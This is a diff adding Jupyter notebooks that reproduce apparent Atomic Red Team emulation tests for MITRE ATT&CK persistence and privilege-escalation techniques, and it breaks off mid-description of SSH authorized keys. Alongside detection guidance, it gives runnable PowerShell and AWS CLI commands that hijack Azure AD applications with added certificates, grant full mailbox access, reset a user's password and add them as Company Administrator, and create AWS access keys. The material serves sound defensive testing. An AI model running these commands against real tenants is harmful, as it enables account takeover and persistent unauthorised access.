[ - { - "cell_type": "markdown", - "id": "b15519da", - "metadata": {}, - "source": "# T1088 - Bypass User Account Control\nWindows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)" - }, - { - "cell_type": "markdown", - "id": "39b423c0", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "059fd87a", - "metadata": {}, - "source": "## Detection\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1098.001.ipynb b/playbook/tactics/privilege-escalation/T1098.001.ipynb new file mode 100644 index 00000000..4a75e3bf --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1098.001.ipynb @@ -0,0 +1,173 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "48b3a3b6", + "metadata": {}, + "source": "# T1098.001 - Additional Cloud Credentials\nAdversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal\u2019s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. These credentials may remain valid for the duration of their lifetime even if the original account\u2019s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)" + }, + { + "cell_type": "markdown", + "id": "7dbdcc99", + "metadata": {}, + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "d4bf08fb", + "metadata": {}, + "source": "### Atomic Test #1 - Azure AD Application Hijacking - Service Principal\nAdd a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application.\nThis can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.\nAn account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f6a9ce2c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "0118788e", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"SuperSP\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f1345844", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "193d036d", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"SuperSP\" | Select-Object -First 1\n$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from SP\"\n Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "140bcea0", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "27b8bae8", + "metadata": {}, + "source": "### Atomic Test #2 - Azure AD Application Hijacking - App Registration\nAdd a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application.\nThis can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.\nAn account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: AzureAD module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AzureAD -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0fdf06bc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "7c9bba2c", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$app = Get-AzureADApplication -SearchString \"SuperApp\" | Select-Object -First 1\nif ($app -eq $null) { Write-Warning \"Application not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "70d865fa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "fcc65f84", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$app = Get-AzureADApplication -SearchString \"SuperApp\" | Select-Object -First 1\n$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from application\"\n Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4d2a6f53", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "77982340", + "metadata": {}, + "source": "### Atomic Test #3 - AWS - Create Access Key and Secret Key\nAdversaries create their own new access and secret keys to programatically interact with AWS environment, which is already compromised\n\n**Supported Platforms:** iaas:aws\n#### Dependencies: Run with `sh`!\n##### Description: Check if the user exists.\n\n##### Check Prereq Commands:\n```sh\naws iam list-users | grep atomicredteam\n\n```\n##### Get Prereq Commands:\n```sh\necho Please run atomic test T1136.003, before running this atomic\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0168b1bc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 3 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "e4b68edc", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\naws iam create-access-key --user-name atomicredteam > \"$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\"\ncd \"$PathToAtomicsFolder/T1098.001/bin/\"\n./aws_secret.sh\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e1b7d593", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "9dc78a8d", + "metadata": {}, + "source": "#### Cleanup: \n```sh\naccess_key=`cat \"$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\" | jq -r '.AccessKey.AccessKeyId'`\naws iam delete-access-key --access-key-id $access_key --user-name atomicredteam\nrm \"$PathToAtomicsFolder/T1098.001/bin/aws_secret.creds\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8dbd5345", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.001 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "30a16882", + "metadata": {}, + "source": "## Detection\nMonitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account.\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1098.002.ipynb b/playbook/tactics/privilege-escalation/T1098.002.ipynb new file mode 100644 index 00000000..926ea362 --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1098.002.ipynb @@ -0,0 +1,83 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "00c5a29a", + "metadata": {}, + "source": "# T1098.002 - Additional Email Delegate Permissions\nAdversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. \n\nFor example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) \n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user\u2019s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)" + }, + { + "cell_type": "markdown", + "id": "d8e3b43b", + "metadata": {}, + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "ac143e41", + "metadata": {}, + "source": "### Atomic Test #1 - EXO - Full access mailbox permission granted to a user\nGive a nominated user, full mailbox delegation access of another user.\nThis can be used by an adversary to maintain persistent access to a target's mailbox in M365.\n\n**Supported Platforms:** office-365\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: ExchangeOnlineManagement PowerShell module must be installed\n\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name ExchangeOnlineManagement \n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4a5d6e30", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.002 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "eb8586a9", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module ExchangeOnlineManagement\n$secure_pwd = \"o365_password_test\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"o365_user_test@contoso.com\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nAdd-MailboxPermission -Identity \"delegate@contoso.com\" -User \"operator@contoso.com\" -AccessRights FullAccess -InheritanceType All\nDisconnect-ExchangeOnline -Confirm:$false\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "03196643", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.002 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "34661296", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module ExchangeOnlineManagement\n$secure_pwd = \"o365_password_test\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"o365_user_test@contoso.com\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nRemove-MailboxPermission -Identity \"delegate@contoso.com\" -User \"operator@contoso.com\" -AccessRights FullAccess -InheritanceType All -Confirm:$false\nDisconnect-ExchangeOnline -Confirm:$false\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e1f285b2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.002 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "e6916775", + "metadata": {}, + "source": "## Detection\nMonitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. \n\nA larger than normal volume of emails sent from an account and similar phishing emails sent from \u202freal accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1098.003.ipynb b/playbook/tactics/privilege-escalation/T1098.003.ipynb new file mode 100644 index 00000000..1c3b57da --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1098.003.ipynb @@ -0,0 +1,128 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "7e3ff474", + "metadata": {}, + "source": "# T1098.003 - Additional Cloud Roles\nAn adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)" + }, + { + "cell_type": "markdown", + "id": "eff0ebba", + "metadata": {}, + "source": "## Atomic Tests" + }, + { + "cell_type": "markdown", + "id": "758e7373", + "metadata": {}, + "source": "### Atomic Test #1 - Azure AD - Add Company Administrator Role to a user\nAdd an existing Azure user account the Company Administrator Role.\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: MSOnline module must be installed.\n\n##### Check Prereq Commands:\n```powershell\ntry {if (Get-InstalledModule -Name MSOnline -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name MSOnline -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b7b86e9f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 1 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "4d7affbb", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module MSOnline\n$Password = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $Password\nConnect-MsolService -Credential $Credential\nAdd-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberEmailAddress \"default\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "25761125", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "5fc20a28", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nRemove-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberType User -RoleMemberEmailAddress \"default\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "adcd78ec", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "c5cb8fce", + "metadata": {}, + "source": "### Atomic Test #2 - Simulate - Post BEC persistence via user password reset followed by user added to company administrator role\nThis test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365.\n Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges\n\n**Supported Platforms:** azure-ad\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: MSOnline and AzureAD modules must be installed.\n\n##### Check Prereq Commands:\n```powershell\n$required_mods = 'AzureAD', 'MSOnline'\n$installed_mods = @((Get-Module $required_mods -ListAvailable -ErrorAction SilentlyContinue).Name | Select-Object -Unique)\n$notInstalled = Compare-Object $required_mods $installed_mods -PassThru -ErrorAction SilentlyContinue\n\nif ($notInstalled) {\n# Prompt for installing the missing ones.\nWrite-Output \"The following PS modules aren't currently installed:\"\n$notInstalled\n exit 1\n}\n\n else{\n Write-Output \"All required PS modules are installed\"\n exit 0\n }\n\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name MSOnline -Scope CurrentUser -Force\nInstall-Module -Name AzureAD -Scope CurrentUser -Force\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "011b0832", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 2 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "b292d4d8", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nImport-Module MSOnline\nImport-Module AzureAD\n$password = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $password\n$targetsecurepw = ConvertTo-SecureString -String \"Ohn05GeMe#$\" -AsPlainText -Force\nConnect-MsolService -Credential $credential -ErrorAction:SilentlyContinue\nConnect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue\n\n#Saving the ObjectId of the target_user into a variable\n$target_objid = Get-AzureADUser -filter \"userPrincipalName eq 'default'\" | Select-Object -ExpandProperty ObjectId\n\n#Reset the password of the target_user\nSet-AzureADUserPassword -ObjectId $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue\n\n#Adding target_user\nAdd-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberEmailAddress \"default\"\nAdd-MsolRoleMember -RoleName \"Global Reader\" -RoleMemberEmailAddress \"default\"\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2415f021", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "b4578cc3", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nImport-Module MSOnline\n$password = ConvertTo-SecureString -String \"p4sswd\" -AsPlainText -Force\n$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"jonh@contoso.com\", $password\nConnect-MsolService -Credential $credential\nRemove-MsolRoleMember -RoleName \"Company Administrator\" -RoleMemberType User -RoleMemberEmailAddress \"default\"\nRemove-MsolRoleMember -RoleName \"Global Reader\" -RoleMemberType User -RoleMemberEmailAddress \"default\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c4f34f8c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1098.003 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9eaec2d3", + "metadata": {}, + "source": "## Detection\nCollect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. " + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1098.004.ipynb b/playbook/tactics/privilege-escalation/T1098.004.ipynb new file mode 100644 index 00000000..7a973d56 --- /dev/null +++ b/playbook/tactics/privilege-escalation/T1098.004.ipynb @@ -0,0 +1,73 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "01ea63ed", + "metadata": {}, + "source": "# T1098.004 - SSH Authorized Keys\nAdversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For 